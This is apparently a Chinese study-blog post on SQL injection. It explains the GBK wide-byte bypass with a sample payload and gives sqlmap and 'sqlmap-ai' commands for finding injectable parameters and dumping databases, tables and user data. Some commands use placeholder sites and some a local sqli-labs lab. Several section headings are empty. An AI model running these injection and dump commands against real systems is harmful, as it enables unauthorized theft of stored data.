Skip to content
Kurisu
Go back

SQL 进阶与 sqlmap

接着上篇继续搞 SQL 注入:宽字节注入的原理和我自己的验证过程,还有 sqlmap 的实战用法——GET/POST 注入、拖库拖表,以及我踩过的坑。

核心知识点

1. 宽字节(针对 GBK 编码)

:%df'   → 后端转义成 %df%5c'  → GBK 解码为 "運'" → 单引号生效

2. 二次

3. 报错

4. 点

5. sqlmap 自动化(脱库四步曲)

sqlmap 像一个”自动开锁机器人”,自动向目标发送成千上万种带陷阱的语句直到成功。获取数据像剥洋葱,一层层。

第一步:测试漏洞

python sqlmap.py -u "http://目标网站.com/page.php?id=1"

看到 is vulnerable 说明存在漏洞。

第二步:列出所有数据库

python sqlmap.py -u "http://目标网站.com/page.php?id=1" --dbs

第三步:列出表名

python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" --tables

第四步:列出字段并拖出数据

python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" -T "users" --columns --dump

参数说明:-D 指定数据库,-T 指定表,--columns 列出字段,--dump 下载。

POST 请求 / 抓方式

# 用 Burp 抓登录请求保存为 request.txt
python sqlmap.py -r request.txt --dbs

常用参数--current-db 获取当前数据库;--param 指定探测参数;--data 指定 POST 数据;--headers 指定请求头。

6. sqlmap-ai(AI 赋能)

sqlmap-ai -u "http://xxx.com/p.php?id=1"
sqlmap-ai -u "http://xxx.com/p.php?id=1" --dbs
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" --tables
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" -T "表名" --dump
sqlmap-ai -r request.txt --dbs          # POST 抓方式

7. 法律法规

实操步骤

# 宽字节验证
?id=1%df%27 and 1=1 --+

# sqlmap GET 
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

# sqlmap 拖表拖数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump

# sqlmap POST 
python sqlmap.py -r /tmp/request.txt --dbs --batch

常见错误与排查


Share this post:

Previous Post
SQL 基础
Next Post
XSS 跨站脚本攻击